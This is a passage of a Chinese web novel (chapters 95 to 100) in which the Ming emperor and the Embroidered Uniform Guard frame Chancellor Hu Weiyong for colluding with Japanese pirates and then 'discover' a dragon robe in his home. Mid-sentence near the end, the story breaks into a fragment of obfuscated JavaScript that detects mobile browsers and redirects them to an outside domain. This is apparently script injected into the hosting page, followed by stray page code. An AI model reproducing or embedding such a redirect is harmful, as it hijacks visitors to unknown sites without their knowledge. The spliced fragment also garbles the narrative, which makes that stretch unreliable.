他都已经将姿态放低到了这种程度,可是蒋瓛竟然还在咄咄逼人! “蒋大人,你这话是什么意思?在暗指本相有不臣之心吗?” 胡惟庸声音冷厉,目光锐利。 蒋瓛只是淡淡一笑,说道:“胡相,我可没有这么说,不过胡相有没有这样做就只有胡相自己知道了。” “放肆!你这是污蔑!” 胡惟庸怒气冲天,双手抱拳敬天高声说道:“我胡惟庸对皇上一片忠心天地可鉴,蒋瓛你休要在这里血口喷人!” 见胡惟庸发怒,蒋瓛神色依旧不变,不过身子却慢慢直了起来。 他一步一步走向胡惟庸,一股压迫感顿时袭来。 胡惟庸虽然贵为丞相,曾经也是和朱元璋一同打过天下的人。 可是蒋瓛身为锦衣卫的头领,本身对百官就有一种天然的压制感,更不要说如今胡惟庸还不知圣谕究竟要对他如何,气势上自然输了一筹。 见蒋瓛一步步逼近,胡惟庸声音轻颤道:“蒋瓛,你要怎样?” “我要怎样?” 蒋瓛摇了摇头,随即正色道:“不是我要怎样,而是你待怎样!” 随即,蒋瓛拿出自己锦衣卫头领的令牌,高声道:“圣上有旨意,胡惟庸接旨!” 胡惟庸被蒋瓛这一声高喝吓的双腿一软,就那么跪在了蒋瓛的面前。 这一跪,胡惟庸立马察觉到一道道讥讽不屑的目光落在了自己的身上。 可是蒋瓛正打算宣读圣喻,他根本没办法起身,只能用那怨恨的目光死死盯着蒋瓛。 其实哪有什么圣意,不过是蒋瓛狐假虎威罢了,但朱元璋也的确说过一旦胡惟庸收了那些琉璃器皿,就直接派锦衣卫进去搜查。 只不过对胡惟庸来说,搜查要是没有圣喻,仅仅凭蒋瓛一个人,还真无法压制住他。 至于所谓的圣谕,自然是蒋瓛临时编造,反正大概意思只要进去相府搜查就行。 第九十五章 关押胡惟庸 “胡相,想必皇上的圣谕你也已经听的很明白了,我们锦衣卫要进相府搜查,你可有异议?” 蒋瓛笑眯眯的朝胡惟庸问道。 胡惟庸嘴角微微一抽,他都被蒋瓛给吓的跪下了,相府里的侍卫也全都被锦衣卫给拿下,他能有什么异议,他敢有什么异议! “臣没有异议。” 胡惟庸面色颓败,他不明白,今日究竟发生了什么事情,为何锦衣卫突然奉旨要搜查相府。 但随即,当他看到锦衣卫直奔大堂,将一件件琉璃器皿搬到他面前时,胡惟庸如同遭遇了晴天霹雳一般。 事到如今他要是还不明白,那真就可以揣着糊涂去死了。 很明显,这是有人做局,故意将这批有问题的琉璃器皿送到他的手上! “我就说,怎么会这么碰巧就让我遇到,而且还是在相府门口,这分明是针对我的阴谋诡计!” 胡惟庸对幕后之人恨的咬牙切齿,他第一个想到的就是徐彦祖。 可是徐彦祖远在松阳县,按理来说对应天府发生的事情应该暂不知晓。 “莫非是那群浙东党的官员?” 胡惟庸百思不得其解,但是蒋瓛明显没有给他思考的时间。 将琉璃器具全部搬到胡惟庸面前后,蒋瓛冷厉说道:“胡惟庸,如今罪证确凿,跟我走一趟吧!” 说罢,也不给胡惟庸解释的机会,将胡惟庸带到了天牢之中。 只不过,因为朱元璋并未和锦衣卫一同返回,所以只能暂时将胡惟庸关入天牢之中。 不过次日一早,朱元璋就乘着快马赶回了应天府, 等到朱元璋梳洗过后,立马升了早朝。 此时淮西一派的官员早就得到了胡惟庸被抓的消息,众人急得如同热锅上的蚂蚁一般团团转。 一直到升早朝都在议论纷纷。 反观浙东一派的官员则是扬眉吐气,喜笑颜开。 不多时,殿外传来一声高喝。 “皇上驾到!” 众人议论声音戛然而止,纷纷跪地行礼:“参见皇上,皇上万岁万岁万万岁!” 只见朱元璋大步流星的走了进来,一路直达龙椅。 “诸位爱卿平身。” 随着朱元璋不怒之威的话语声响起,众人这才站起。 待到众大臣起身之后,立即就有人站了出来。 “启奏陛下,臣有本奏!” 朱元璋定睛一看,面色陡然转冷。 这站出来的大臣乃是淮西一派,是胡惟庸的亲信,朱元璋不用听他的奏折都知道他想要说什么。 于是朱元璋微抬手掌,淡淡说道:“你先等一等,咱想看看今日早朝有多少人想要上奏,是不是都是为了胡惟庸一事?” 朱元璋此言一出,诸位大臣不禁互相对视一眼,随后一个接一个的站了出来。 而目的也是一样,都是为了胡惟庸的事情而来。 朱元璋嘴角挂着一丝讥讽,环视众人说道:“咱想问问你们,这朝廷莫非是他胡惟庸一个人的?” “胡惟庸犯下滔天大罪,你们不自知也就罢了,竟然有一大半的官员替他求情,这大明朝莫非是他胡惟庸在当家作主不成?” 朱元璋这两问一出,在场的官员纷纷跪倒在地。 “皇上息怒!” 朱元璋这话说的极重,言语间尽是对胡惟庸和众大臣的不满。 “来人,将胡惟庸给咱带上来,也让文武百官看看,这位朕倚赖委以重任的丞相,究竟都干了些什么事情。” 随即,胡惟庸在锦衣卫的押送下来到了殿内。 刚一进殿,胡惟庸就朝着朱元璋跪下,嘴里大喊冤枉。 “皇上,臣冤枉啊!这是有人在栽赃陷害微臣啊!” 朱元璋神色波澜不惊,他当然知道有人陷害胡惟庸,而且陷害胡惟庸的人这个人还是他自己。 这出局,本来就是针对胡惟庸而做。 面对胡惟庸的叫屈喊冤,朱元璋神色淡淡。 不用他开口,浙东一派的官员就立刻站了出来。 “启奏陛下,臣要参奏左丞相胡惟庸专横独断,结党营私,勾结倭寇,欺君罔上等数十条大罪!” 只不过,站出来率先对胡惟庸发难的竟然是汪广洋。 这让众人不由大吃一惊,不仅仅是因为汪广洋参奏胡惟庸的罪责,还因为汪广洋的身份。 就连高坐龙椅之上的朱元璋眼睛也不由眯了起来。 汪广洋可是他提拔上来的右丞相。 本来此人乃是中立派,但是自从刘伯温倒台之后,胡惟庸在朝廷中的权力越来越大,倘若不加以制衡,迟早会变成胡惟庸的一言堂,酿成大祸。 因此朱元璋才将汪广洋提拔为右丞相,也算是逼迫汪广洋从原来的中立派变成了浙东一派。 可是在朝堂上,汪广洋根本不是胡惟庸的对手。 加之其性格有些懦弱,所以才导致胡惟庸如今在朝中的势力越来越庞大。 可如今汪广洋竟然主动站出来弹劾胡惟庸,一方面说明胡惟庸对汪广洋的压迫究竟有多深,另一方面也说明浙东一派的势力已经弱小到了何种程度。 当汪广洋说出勾结倭寇四个字时,在联系得到的消息,众大臣也明白了问题出在什么地方。 那批琉璃器皿就是关键! 随即,淮西一派立马就有官员站出来替胡惟庸辩解道:“启奏皇上,丞相对大明朝忠心耿耿,为大明朝立下了汗马功劳,万万不可能勾结倭寇反叛,这其中必定藏有隐情,还望陛下明察!” 这话立刻就引起了其他淮西官员的附和,都在替胡惟庸申冤叫屈。 胡惟庸见状,连忙对朱元璋解释道: “陛下,这一切都是别人对我的栽赃陷害,我并非和倭寇勾结。那些琉璃乃是赃物,是我派人抓捕了两个东瀛倭寇,从他们手中搜查到的东西。” 朱元璋淡漠的扫了胡惟庸一眼,语气平平: “胡惟庸你说那些东西都是赃物?是你从倭寇手中搜查到的?” 胡惟庸连忙点头,撇清关系:“没错皇上,这些东西是我从倭寇手里扣下来的,只是还没来得及的上报。” 随后,其余大臣也跟着附和求情。 朱元璋听着这些求情的话,心中顿时不耐。 同时在心中将求情的这些大臣记了下来,这些可都是胡惟庸的同党! 第九十六章 胡惟庸通倭 求情的这些人,全都是胡惟庸一派的官员。 这些人为了撇清胡惟庸身上的罪责,不仅说胡惟庸为了这个朝廷,为了天下百姓做了多少事情,甚至还有人说胡惟庸乃是一代贤相! 这些话听的朱元璋火冒三丈,在这些官员的口中,胡惟庸非但没过,反而有功。 朱元璋重重拍了一下扶手,面上带着怒意:“都给我住口!来人,将从胡惟庸府上抓到的倭寇带上来!” 当听闻锦衣卫竟然在胡惟庸的府上抓到了倭寇,众大臣脸色瞬间大变,他们不可置信的看向胡惟庸,目光无比疑惑。 同时,也明白了为何朱元璋会发这么大的火,这已经是人赃并获了。 反观胡惟庸,他比其他人更加疑惑。 他明明记得自己为了不让别人抓住把柄,第一时间就让侍卫将那倭寇还有商人一并给放了。 甚至胡惟庸还吩咐侍卫派人跟紧那两人,一旦找到机会就让他们死在荒郊野外,这样就死无对证。 就算锦衣卫来围了相府,让侍卫没机会动手,那两个被抓的人也应该早就离开了才是。 可他殊不知,哪里有什么倭寇商人,都是锦衣卫假扮的。 于是,在胡惟庸百思不得其解的目光下,之前他在相府门口所见到的东瀛人就被这样堂而皇之的押到了他面前。 见到此人,胡惟庸瞳孔猛的一缩。 而那人更是直接跪倒在胡惟庸的身边,用手紧紧抱住胡惟庸的大腿哭喊道:“相爷,你可要救救我啊相爷!” 胡惟庸立刻慌了神,他想要抽身而去,但是那人却死活都不撒手,甚至还在继续哭喊道: “相爷,你收了我给你送的礼可不能翻脸不认人啊,当初是你说整个大明你谁都不怕的,让我放心大胆的做事,出了问题你负责。现在可不能说话不算数,更不能装不认识我啊!” 这话可让胡惟庸彻底慌了神,他没有想到自己竟然有一天也会被人胡乱攀咬。 更何况这可是在大殿上,两旁站着的是文武百官,上面高坐的是皇帝陛下。 眼前这东瀛人说的这些话,句句致命,一旁的文武百官此刻看向胡惟庸的眼神已经由一开始都不解疑惑,慢慢的带上来些许愤怒。 很明显,已经开始有官员相信他胡惟庸乃是一个通倭之辈。 胡惟庸虽然不明白眼前之人为何拼死都要诬陷自己,但他知道自己必须撇清关系。 于是,他怒目圆睁,用尽全身力气想要一脚将其踹开,可是这东瀛人乃是锦衣卫所扮,怎么可能会被胡惟庸踹开。 没有办法,胡惟庸只能对其呵斥道:“你是何人!本相从来都没有见过你,更没有收过什么礼物,你休要在皇上和百官面前含血喷人!” “我告诉你,这里可是金銮殿,不是你撒野的地方,还不快给我松手!” 随后胡惟庸看向一旁幸灾乐祸的蒋瓛怒道:“蒋大人,你难道就看着此贼在这殿内撒泼打滚不成?” 闻言,蒋瓛嗤笑一声,然后才将人拉开。 胡惟庸面色阴沉,刚打算对蒋瓛发难。 不过下一秒,朱元璋的声音就传了过来。 “你们两个各执一词,咱应该听谁的?” 朱元璋神色玩味,但没有第一时间治罪东瀛人,态度已经很明显了。 听到这话的胡惟庸刚准备开口解释,岂料一旁的东瀛人却直接跪了下来。 “皇上饶命,我这里有证据,可以证明这批琉璃器皿是专门买来送给胡惟庸胡丞相的!” 说着,就从怀中将之前徐彦祖准备好的票据拿了出来。 看到票据的一瞬间,胡惟庸脸色瞬间大变。 那票据他如何认不出来? 正是之前派东瀛商队去松阳县买琉璃拿到的票据,也正是这票据,才让胡惟庸得意诬陷徐彦祖,逼的朱元璋下令彻查此事。 然而如今这票据竟然又一次出现了,但是通倭的人却变成了他胡惟庸! 直到此时此刻,胡惟庸这才知道,原来这一切背后谋划的竟然会是徐彦祖。 “皇上,这都是徐彦祖那贼子对我的污蔑啊皇上!他怀恨在心,所以传统倭寇栽赃嫁祸于我,他狼子野心啊!” 胡惟庸彻底慌了神,当同样的招数用在他身上的时候,他才知晓其中的厉害。 如今人证物证俱在,他除了为自己辩解之外,竟找不到破局之法,只能看向朱元璋,希望朱元璋不要因为这人的几句话就对自己定罪。 然而朱元璋却是神色冷冽,目光锐利似剑。 “究竟是不是污蔑,朕会查清。但朕且问你,世人皆知倭寇皆是一群贪生怕死的鼠辈,难道此人会用自己的性命来污蔑你吗?” 此言一出,胡惟庸浑身猛的一震,四周的百官也暗暗点头。 毕竟通倭一事一旦坐实,不管是胡惟庸还是眼前这个倭寇,都难逃一死。 但是话又说回来了,倘若不是此人被锦衣卫给拿住,也断然不可能供出胡惟庸。 想到这里,似乎一切都对的上了。 胡惟庸环顾四周,百官神色各异,但无一人和他对视,这就已经说明百官已然相信了这个倭寇说的话。 他神色一黯,随后咬牙切齿冲向那人,双手直奔他的脖颈。 “你到底是谁!我和你无冤无仇,你为何要栽赃嫁祸于我!” 这一次,蒋瓛可没有像之前一样袖手旁观,他直接上前一掌拍在胡惟庸的胳膊上。 胡惟庸只觉得一股巨力拍在胳膊上,随即手臂一软,就那么垂落下去。 很明显,蒋瓛这一掌的力道可不轻。 “蒋瓛你!” 胡惟庸怒目圆睁。 可蒋瓛丝毫不惧,反而对其质问道: “胡惟庸,这里可是金銮殿,他一个异邦人不懂规矩也就罢了,你身为朝廷的丞相,竟然也不懂规矩,在这朝堂上大吵大闹,成何体统!” 面对蒋瓛的质问,胡惟庸顿时怒不可遏,这明显就是赤裸裸的偏袒。 两人剑拔弩张之时,朱元璋再一次发话。 “行了,先把他带下去吧,关进大牢听候发落。” 这话可谓是一锤定音,直接敲定了胡惟庸的结局。 第九十七章 准备动手 “皇上不可啊!” 见朱元璋竟然要因为此事将胡惟庸打入大牢,淮西一派的官员立刻就慌了神。 他们本来以为朱元璋就算对胡惟庸再怎么恼怒,大不了就是降职一类的惩罚,万万不可能直接将其关进大牢之中。 可事情完全出乎了他们的意料。 谁也没想到朱元璋竟然想要趁此机会对胡惟庸动手。 不管是震怒也好,还是蓄谋已久也罢,淮西一派的官员都不会眼睁睁看着胡惟庸被关入大牢。 只见一个接一个的官员出列,俯身向朱元璋请求道: “皇上,胡相为我大明朝勤勤恳恳,忠君爱国之心日月可鉴,万万不能因为这倭寇一人之言就降罪于胡相!” “是啊皇上,倭寇之言怎么相信?至于所谓证据更是无稽之谈,数日以前胡相就已经坦明那徐彦祖勾结倭寇,当时拿出的证据就是这票据。如今这倭寇污蔑胡相,所用证据依旧是票据,说明这必定是徐彦祖怀恨在心,勾结倭寇来给胡相泼脏水,还望皇上明鉴啊!” 不得不说,虽然胡惟庸平日里嚣张跋扈,但其淮西一派的官员中也不乏一些人才,甚至能够猜得出徐彦祖的计划。 只不过他忽略了一点,那就是朱元璋的态度。 自始至终,朱元璋都是站在偏袒徐彦祖的一方,因此即便官员说的头头是道,可朱元璋根本就没打算理睬。 反而因为这番话,让朱元璋找到了恢复徐彦祖声誉的办法。 他看向那官员,玩味说道:“若是按照你这么说,那徐彦祖也极有可能是被人所诬陷,要不两个人都是被诬陷的,这其中都是倭寇在捣鬼,要不两人就都勾结了倭寇。” 官员们自然听出了朱元璋话语里的意思,他们自然也知道徐彦祖是被胡惟庸诬陷。 如今按照朱元璋的说法,只要胡惟庸松口,承认自己诬陷徐彦祖,那么这件事就能就此揭过。 胡惟庸最多就是落一个听信他人之言的责罚,还远不至于关入大牢之中。 胡惟庸自然也明白这一点,虽然他还是有些不情不愿,可相比起徐彦祖来说,自己肯定更加重要。 于是,胡惟庸连忙朝朱元璋喊道:“皇上,微臣方才想起,有关徐彦祖的事情还有遗漏,此事其中极有可能还有隐情。” 胡惟庸的态度让朱元璋十分满意,只要胡惟庸松口,那么徐彦祖勾结倭寇这个罪名就可以轻而易举洗刷干净。 当然,朱元璋也不会放弃扳倒胡惟庸的大好机会。 他对下面的蒋瓛说道:“既然胡惟庸说此案还有隐情,那就先将胡惟庸,还有这倭寇带下去严加审问,查明真相之后再行定罪之事。” 说完,朱元璋爷不顾百官难看的脸色,直接拂袖而去。 而胡惟庸自然也被蒋瓛押了下去。 望着胡惟庸被扭送出殿的背影,淮西一派的官员神色无奈,但同时又有些庆幸。 虽然针对徐彦祖的计划失败了,但胡惟庸身上通倭的嫌疑也可以摆脱。 众人心里清楚,这是朱元璋和他们做出的一次君臣之间心照不宣的交换。 朱元璋保住了徐彦祖,而他们淮西一派也保住了胡惟庸。 散朝后,朱元璋回到了御书房,此时太子朱标已经在殿内等候。 “父皇……” 朱标刚准备开口,朱元璋就抬手打断了他。 “早朝的事情你都听说了吧,如果你也是为胡惟庸求情而来,那就不必开口了。” 朱标闻言摇了摇头,解释道:“父皇,儿臣并非为了求情而来,反而觉得父皇不该用徐彦祖和淮西一派的官员做交易。” 朱标的话让朱元璋神色有些诧异。 他不禁问道:“标儿,你莫非是想让徐彦祖和胡惟庸同罪,以勾结倭寇来给胡惟庸治罪?” 朱标点点头,他正有此意。 虽然这样做会牵连到徐彦祖,可是却能够一举将胡惟庸铲除,并且还不会大动干戈,不会牵连到淮西一派的官员,整个朝廷上下不会过多流血,大明朝依旧还能运转。 “父皇,如今胡惟庸露出破绽,给了一个这么好的理由,正是除掉他的大好时机。” 正所谓当断不断反受其乱,朱元璋今日早朝已经算是和胡惟庸撕破脸皮。 都要将胡惟庸给押进大牢了,要是不趁此机会除掉胡惟庸,只怕等胡惟庸自由之后,难免会做出一些干扰朝政的事情。 朱元璋看了朱标一眼,他幽幽问道:“标儿,难道徐彦祖就该死吗?你可知在我心中,十个百个胡惟庸都比不过一个徐彦祖?” 朱标闻言猛的抬头看向朱元璋,心中掀起惊涛骇浪。 他没想到朱元璋对徐彦祖的评价竟然如此之高。 可朱标毕竟没有见过徐彦祖,对徐彦祖的了解更多是停留在朱元璋等人的讲述。 因此觉得徐彦祖再怎么有才华,也不过似刘伯温那般而已。 如今大明朝百废俱兴,人才济济,似刘伯温一般的人才或许难找,可次一等的人才还是能找到的。 所以,朱标依旧坚持自己的想法:“父皇,机不可失,错过这一次,下次要铲除胡惟庸,只怕会牵连不少官员啊!” 朱标看的很远,凡是手握大权的官员,最终都是要和皇权产生摩擦的。 真要到了那个时候,胡惟庸身上背的可就不是通倭的罪名,而是谋反的大罪了! 朱元璋沉默半晌,方才对朱标问道:“标儿,莫非你以为仅仅是一个莫须有的通倭,就可以置胡惟庸于死地吗?甚至还要搭上徐彦祖的性命?” “你信不信三日之内,大牢中必定会生出变故。一旦那个证人被毒杀,胡惟庸就会彻底无罪,淮西一派的官员总不至于连几天时间都拖不住吧?” 面对朱元璋的反问,朱标哑口无言,随后神色有些颓败。 “那依照父皇之言,这一次胡惟庸只能放,不能杀?” 见朱标一副泄气的样子,朱元璋淡淡一笑,胸有成竹道:“既然咱准备对胡惟庸动手,就不可能放他这样离去!” 第九十八章 搜查相府 “难道父皇另有后手?” 朱标身子一震,目光无比疑惑。 在他看来,如今胡惟庸已然打算撤销对徐彦祖的污蔑,那么倭寇一罪自然不可能再安置在胡惟庸的头上。 而汪广洋参奏胡惟庸的奏折朱标也有所耳闻。 就上面那几条大罪看起来重,可抛却勾结倭寇这一条外,其他的罪责根本不能拿胡惟庸怎么样。 除非是出现像谋逆这样的大罪,不然还真不好对胡惟庸动手。 朱元璋轻轻点头,闭上眼睛再次睁开时,眼里杀气四溢。 他面容冷峻,偏过头对朱标教诲道: “标儿,想要坐稳这个位置,一味的怀柔和忍让不行。有些时候也需要雷霆出手,还记得我之前问你为何刘伯温和我下棋不敢赢吗?” “因为咱是皇帝,这大明的天下,还是咱说了算,就算刘伯温下棋赢了,咱不认,他也只能输!” “刘伯温如此,那胡惟庸亦是如此。” 朱元璋这话让朱标瞳孔猛的一缩,心里更是掀起波澜,他明白朱元璋这一次是必定要杀胡惟庸了。 虽然还不明白朱元璋打算用什么方法,但就如同朱元璋所言。 他是皇帝,是非黑白还不是他说了算,身为皇帝,想要给胡惟庸编造一个罪名还不是轻轻松松。 “父皇,儿臣明白了。” 面对朱元璋的教诲,朱标俯身回道。 这都是帝王之道,同时也是朱元璋对他的提醒。 毕竟朱元璋让他监国的时候,正因为他处处对胡惟庸忍让,才让胡惟庸越发嚣张,甚至敢于对他的老师宋濂泼脏水。 “既然明白了,那就由你亲自带着锦衣卫去相府中搜查吧。一定要给我查清楚了,哪怕是掘地三尺也要将胡惟庸的罪证找出来。” 朱元璋对其吩咐道。 随后,朱标便和蒋瓛领着一队锦衣卫将相府围起。 而当听闻相府再一次被围起的消息后,最慌张的莫过于隐藏在相府内的小泉太郎和小野君了。 之前两人杀人灭口之后,因为应天府戒严的缘故,因此在胡惟庸的安排下躲进了相府之中。 本打算等到风声一过,就找机会离开。 岂料这才没安稳过几天日子,胡惟庸就遭此大难。 如今相府戒严,许进不许出,四周又都是锦衣卫在巡逻,两人只好扮作仆从隐藏在府内。 “小泉君,我们不会出事吧?” 看着四周来来往往的锦衣卫,小野君神色凝重,要是他们两个被认出来,只怕比胡惟庸死的还快。 小泉太郎深吸一口气,缓缓摇头道: “现如今我们需要做的就是镇定,千万不要露出破绽。现如今还不知道胡惟庸究竟犯了什么罪。但是其是丞相,背后又有那么多的大臣,想必不会有事。这个时候我们两个可不能自乱阵脚。” 小野君还是有些不放心,他建议道:“要不我们去找管家询问一番,他应该知道缘由。” 小泉太郎依旧摇头:“如今相府戒严,说不定管家被锦衣卫监视,我们还是不要轻举妄动的好。” 闻言,小野君也只能压下心中的慌乱,和小泉太郎扮作仆从。 然而没多久,管家就行色匆匆而来。 两人刚准备开口,管家就将其制止,同时厉色道:“我让你们两个干活,怎么跑来这里偷懒,还不快跟我去柴房里搬柴!” 说着,就带着两人往柴房的位置前去。 殊不知,三人的一举一动正被隐藏在房梁上的蒋瓛和其心腹看在眼里。 “我说头你真是神了,你怎么知道那两个人有问题,而且知道管家必定会来找他们?” 心腹一脸钦佩的看着蒋瓛。 蒋瓛嘴角带着得意的笑,同时目光中闪过一丝厉色。 “你难道没有发现,刚才那两个人很像之前刺杀商人的凶手吗?” 心腹闻言立刻看向二人,他不由一惊:“头你别说,光看背影,这身高轮廓还真像。” “不是像,就是。” 蒋瓛是何许人,身为锦衣卫的头领,他早已经练就一双过目不忘的眼睛。 要说其中一个人像,那蒋瓛还不会在意。 可是这两个人的身形轮廓都特别像,并且按理来说,一个仆人得到相府被封锁彻查的消息之后,第一反应应该是惊惶失措,甚至是和身边的锦衣卫叫屈喊冤。 然而眼前这两个人,从蒋瓛注意到他们开始,他们就无比的镇定自若,仿佛这一切都和他们没关系一样。 这恰恰就是最大的破绽,并且这两个人还在一直窃窃私语商议着什么,很明显就不对劲。 像这样的人,倘若真的是凶手,那么管家务必会来寻找他们,想办法将其隐藏起来,所以蒋瓛才敢断言管家会出现。 结果还真让蒋瓛猜对了,如今管家的出现,正好坐实了两人的身份。 “跟上他们,我倒要看看这两个人到底是什么身份。” 蒋瓛可不会错过这次机会。 更何况,只有抓住了这两个人,才能洗刷之前的耻辱。 很快,管家就将二人带到柴房,再三确认外面没人之后,管家将房门关上,示意二人可以开口说话了。 “管家 胡相他怎么了?为何相府会出现这么多的锦衣卫?” 一上来,小野君也是迫不及待问道。 一旁的小泉太郎也用疑惑的目光看向管家。 “二位少安毋躁,胡相不过是被人陷害,不多时就会回到府中,不过在此期间,还请二位先在柴房隐藏一番。” 管家已经从其他官员那里得到消息,胡惟庸被徐彦祖陷害,但是过不了几天就会放出来,因此管家这才没有任何慌乱。 在他看来,等到胡惟庸被放出来,依旧还是那个权倾朝野的胡相。 不过在此期间,不能让胡惟庸的把柄被锦衣卫抓到,所以他第一时间就来找小泉太郎二人,想要将其隐藏起来。 “你们二人都是替胡相做事,这一次胡相之所以被抓,也是和之前的事情有关,因此不管你们听到了什么风声,得到了什么消息,在没有我和胡相的授意下,绝对不能离开这间柴房。” 事关重大,管家也是对着二人严肃说道。 第九十九章 背叛胡惟庸 “既然如此,那我二人就在这里等候几天,不过胡相回来之后,务必第一时间通知我们。” 小泉太郎自然知道事情的严重性,连忙说道。 一旁的小野君也点点头,悬着的心也算放了下来。 只要胡惟庸没事,那么他二人自然也不会出事,一切只要等到胡惟庸回府之后就能解决。 “既然如此,那我先行告退,你们二人切记不要离开柴房。” 说罢,管家急匆匆的离开。 等到管家一走,小泉太郎的脸色立刻沉了下来,他目光闪烁,望着管家的背影对小野君说道:“小野君,是非之地不宜久留,我们得提早做好打算啊。” 这话让小野君无比疑惑。 “小泉君,如今管家都已经说了,只要我们在这柴房里安稳度过几日,等到胡惟庸一回来自然万事大吉,还要做什么打算?” 闻言,小泉太郎冷笑一声,环顾四周道:“你以为躲在这个柴房中就可以安然无恙?你觉得那管家真有那么好心?你以为你真的等得到胡惟庸回来?” 小泉太郎这三问,让小野君心头一震,他立刻明白了小泉太郎话语里的意思。 “小泉君,你是说那管家要对我们不利?” 小泉太郎点了点头。 “如今胡惟庸入狱,倘若这件事情当真和我们有关系,那么管家为了避免让锦衣卫抓到把柄,最稳妥的办法自然是找人除掉我们。只要我们两个一死,那么就是死无对证,到时候胡惟庸自然安然无恙。” 小泉太郎可不会傻傻地待在柴房中等到胡惟庸到来。 但是小野君却有些迟疑: “可是小泉君,这不过是你的猜测,万一胡惟庸和那管家没有对我们起杀心,我们就这样离开,后面只怕不好交代啊。” 毕竟之前小泉太郎和小野君为了保住自己的性命,背叛了东瀛不说,还亲手杀了身边的人,倘若这些事情**惟庸捅出去,两人的下场可想而知。 “愚蠢!” 小泉太郎怒斥道:“与其坐以待毙,不如放手一搏,我们手里同样有胡惟庸的把柄,还怕和他鱼死网破不成?” 此言一出,小野君当即醒悟过来。 “好,那小泉君我们什么时候走?” “自然是越快越好。如今府中那么多的锦衣卫,管家就算要对我们动手也要找时机。不然一旦引起锦衣卫的注意他就完蛋了,所以等到晚上应该会动手。不过我们可以提前扮作仆从离开柴房,等到晚上外面锦衣卫松懈后立刻离开。” 小泉太郎早已经做好了打算。 “那就晚上。” 小野君点了点头。 然而下一秒,门外就传来一道冰冷的声音:“你们两个哪也去不了,乖乖跟我回镇抚司吧!” 听到这话,小泉太郎二人脸色猛的一变。 还未等二人作出反应,只见柴房的门被人一脚踹开,蒋瓛带着一队锦衣卫站在门口,似笑非笑的看着他们,而之前和两人交谈的管家,此刻正被两个锦衣卫架在一边。 “大人,我们只是这相府的仆从,不知道犯了什么事情?” 小泉太郎脑子转的很快,还打算用仆从的身份蒙混过关。 殊不知,就在两人交谈的时候,蒋瓛已经对管家动刑,从其口中得知了两人的**。 “不用在我面前装了,小泉太郎,还有旁边那个叫什么小野君的,你们两个当日敢在应天府行凶的时候,就该想到会有这么一天。” 蒋瓛神情轻蔑,淡淡说道。 小泉太郎瞳孔微微一缩,他没想到蒋瓛已经知道了自己和小野君的身份。 望着外面那群虎视眈眈的锦衣卫,小泉太郎明白,今日他们二人想要突出重围根本就不可能。 深吸一口气后,小泉太郎竟然直接跪倒在了蒋瓛的面前。 “大人,这一切都是胡惟庸指使我做的,不置可否留我一条性命,我愿意指认胡惟庸!” “你!你竟然敢背叛老爷!” 管家不可置信的看着小泉太郎,气急败坏说道。 “你都能出卖我,为何我不能出卖胡惟庸?我只求活着而已,我有什么错?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874358|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小泉太郎嘴角带着讥讽,自始至终,不管是出卖东瀛,还是出卖胡惟庸,他要的不过是一个活字。 一旁的小野君见状,也连忙跟着跪下。 “还请大人开恩,小的也愿意指认胡惟庸。” 蒋瓛眼底带着讥讽,大手一挥,不屑道:“将他们二人带回镇抚司,他们自己会交代的。” 随即又看向管家,冷冷地说道:“胡惟庸的住处在哪?现在就带我们过去!” 说着,又对身后的锦衣卫吩咐道:“去将太子也一并请过来。” 等到管家带着蒋瓛等人来到胡惟庸的房间时,朱标已经被锦衣卫带到了这里。 他眼神疑惑,对蒋瓛问道:“蒋统领,这地方不是已经搜查过了吗?难道有什么遗漏不成?” 听到这话,蒋瓛故作疑惑道:“太子殿下莫不是记错了,这个地方我们从未搜查过,倘若不是管家带路,我们也不会知道这里是胡惟庸的房间。” 说罢,又恍然大悟道:“是了,着相府如此庞大,太子殿下记错几个房间也很正常,还请太子殿下下令搜查。” 朱标听到这话,眼神怪异的看着蒋瓛。 身为锦衣卫,怎么可能不知道这里是胡惟庸的房间,不然他身后两个锦衣卫怎么会将他带到这里来。 甚至他来到这里的时候,还看到有两个锦衣卫一脸灰土的走出来。 不过既然蒋瓛要刻意演这么一出拙劣的戏,必然有他的目的。 突然,朱标想起了临走之前朱元璋对他的吩咐。 掘地三尺也要找到胡惟庸的罪证! 再加上刚才在那两个锦衣卫脸上看到的土灰,朱标瞬间明白过来。 于是,朱标顺势说道:“是本殿下记错了,既然这里是胡惟庸的房间,那就一定要仔细搜查。千万不要放过任何一个角落,哪怕是绝地三尺也不能有任何的遗漏!” 听到这话,蒋瓛就明白朱标已经明白了,他满意的朝朱标点点头,而后对锦衣卫说道:“都听见太子殿下说的话了吗?就是掘地三尺,也要找到胡惟庸的罪证,给我挖!” 第一百章 谋逆之物 “挖吧挖吧,我就不信你们还能挖出什么宝贝不成。” 管家眼神不屑。 胡惟庸就算有什么罪证,也不可能藏在房间中,更不可能藏在砖石下面,这些锦衣卫不过是做无用功而已。 同时管家看向蒋瓛的目光中还带怨毒,刚才蒋瓛为了逼迫他说出小泉太郎二人的身份,直接将他的双手给活生生卸了下来,并且还让人找了一团布塞在他的嘴里。 那种钻心的疼痛让他如今想起来都忍不住发抖。 “等到相爷回府之后,我一定要禀告相爷你们的所作所为,锦衣卫头领又怎么样,太子又怎么样,相爷一定不会轻易放过你们的。” 管家暗暗想道。 然而就在管家臆想暗暗得意之时,只见里面的锦衣卫突然传出一声惊呼。 “有东西!” 紧接着,就看到锦衣卫面色苍白的跑出来对着朱标禀告道:“启禀太子,属下们在这房间的砖缝下面发现了一个谋逆之物!” 此言一出,众人皆是脸色一变,管家则是眼睛猛的睁大。 这锦衣卫竟然当真从房间中挖出了东西! 而是还挖出了谋逆之物! 管家顿时慌了,他大呼道:“不可能!我家老爷绝对没有谋反之心!这房间里绝对不可能有谋逆之物!” “哼!” 蒋瓛冷哼一声,对管家质问道:“你说胡惟庸没有谋反之心?你说这房间里没有谋逆之物?难道有人会专门跑到胡惟庸的房间里栽赃嫁祸于他吗!” 说完,蒋瓛亲自押着管家走到了房间中。 朱标也随即走了进去。 当众人看到那谋逆之物后,除了朱标和蒋瓛之外,全都吓的跪了下去。 龙袍! 